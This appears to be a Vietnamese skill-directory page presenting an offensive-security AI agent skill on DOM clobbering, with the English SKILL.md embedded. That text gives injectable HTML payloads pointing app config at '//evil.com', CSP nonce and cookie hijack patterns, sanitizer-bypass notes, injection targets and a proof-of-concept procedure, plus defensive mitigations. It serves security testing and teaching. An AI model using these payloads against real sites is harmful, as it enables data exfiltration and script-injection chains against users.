Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14061

dom-clobbering

Skill này làm gì

Skill này giải thích cách các phần tử HTML có tên có thể ghi đè biến của trang trong JavaScript. Dành cho người kiểm thử bảo mật kiểm tra xem HTML đã lọc có còn làm thay đổi cách trang hoạt động không.

Khi nào nên dùng

  • ✓Khi một trang cho người dùng thêm HTML đã được lọc nhưng có thể vẫn chứa các phần tử có tên.
  • ✓Khi một rà soát bảo mật hỏi liệu script của trang có đọc các cài đặt toàn cục mà HTML có thể ghi đè không.
  • ✓Khi bạn muốn kiểm tra xem content security policy có thể bị vượt qua bằng HTML không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem bộ lọc HTML trong phần bình luận có còn cho người dùng thay đổi cài đặt JavaScript trên trang của tôi không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent kiểm tra xem một phần tử có tên hoặc id được chọn có thể thay thế một giá trị mà trang đọc, chẳng hạn một đối tượng cấu hình, mà không dùng thẻ script hay không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

DOM Clobbering

Named HTML elements (<form>, <a>, <input>, <img>) with name= or id= are accessible as JavaScript properties of window and document. If app code does if (window.config.endpoint) and attacker can inject HTML (even sanitized), they can replace window.config with an HTML element.

1. The classic

<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
    fetch(window.config.endpoint + '/data');
}
</script>

<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>

window.config resolves to the form. window.config.endpoint resolves to the input. .endpoint is now "//evil.com". App fetches from evil.

2. Common targets

  • window.location overwrite (anchor w/ id=location)
  • Library global config (jQuery's $.cookie, etc)
  • CSP nonce/source values read from globals
  • document.cookie (limited but exploitable)
  • window.onerror clobber

3. Payload patterns

Single-element clobber

<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->

Multi-level clobber (a.b.c)

<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->

<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->

CSP nonce theft

<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->

Cookie attribute hijack

<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->

4. Where to inject

DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:

  • CMS rich-text content
  • Markdown renderers (especially raw HTML-allowed)
  • Comment systems
  • Profile fields rendered into the page

5. Detection

// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
  .filter(e => e.name || e.id)
  .map(e => [e.tagName, e.name || e.id]);

// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)

6. PoC

Find an HTML-injection sink (not strict XSS) that passes sanitizer because no JS. Inject the form clobber. Confirm via observed network request to //evil.com (DNS-level via interactsh).

7. Severity

Bug Severity
Clobber → CSP bypass enabling stored XSS Critical 9.0
Clobber of endpoint → exfil PII High 8.0
Clobber of OAuth flow config Critical 9.0
Standalone clobber w/o exploitable chain Low-Medium

8. Defender

  • Sanitizers should strip id= and name= from user content (DOMPurify has ALLOW_DATA_ATTR: false + FORBID_ATTR: ['id', 'name'] config)
  • Use Object.defineProperty(window, 'config', {value: cfg, writable: false}) for security-critical globals
  • Use scoped namespaces instead of window globals
  • CSP script-src w/ hashes (not just nonces) — DOM clobbering can't fake the hash

Cross-references

  • Upstream: skills/_corpus/payloads/DOM Clobbering/
  • XSS overlap: skills/exploit/web/xss.md
  • CSS injection (similar tactical mindset): skills/exploit/web/css-injection/SKILL.md (when added)

Known exemplars

  • Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
  • Bypass of Google's Closure templating system
  • Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
Câu hỏi thường gặp

Vì sao điều này quan trọng nếu script bị chặn?

Skill lưu ý rằng các phần tử có tên mà không cần script vẫn có thể thay đổi những gì trang đọc, và điều đó có thể dẫn đến các yêu cầu sai.

Skill nhắc đến mục tiêu nào?

Nó nhắc đến các mục tiêu như window.location, cài đặt của thư viện, các giá trị CSP đọc từ biến toàn cục và xử lý cookie.

Cuộc tấn công có cần chèn script đầy đủ không?

Không. Skill nói về các phần tử HTML có tên hoạt động mà không cần thẻ script.

Chi tiết

Mô tả gốc của tác giả

DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14061
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự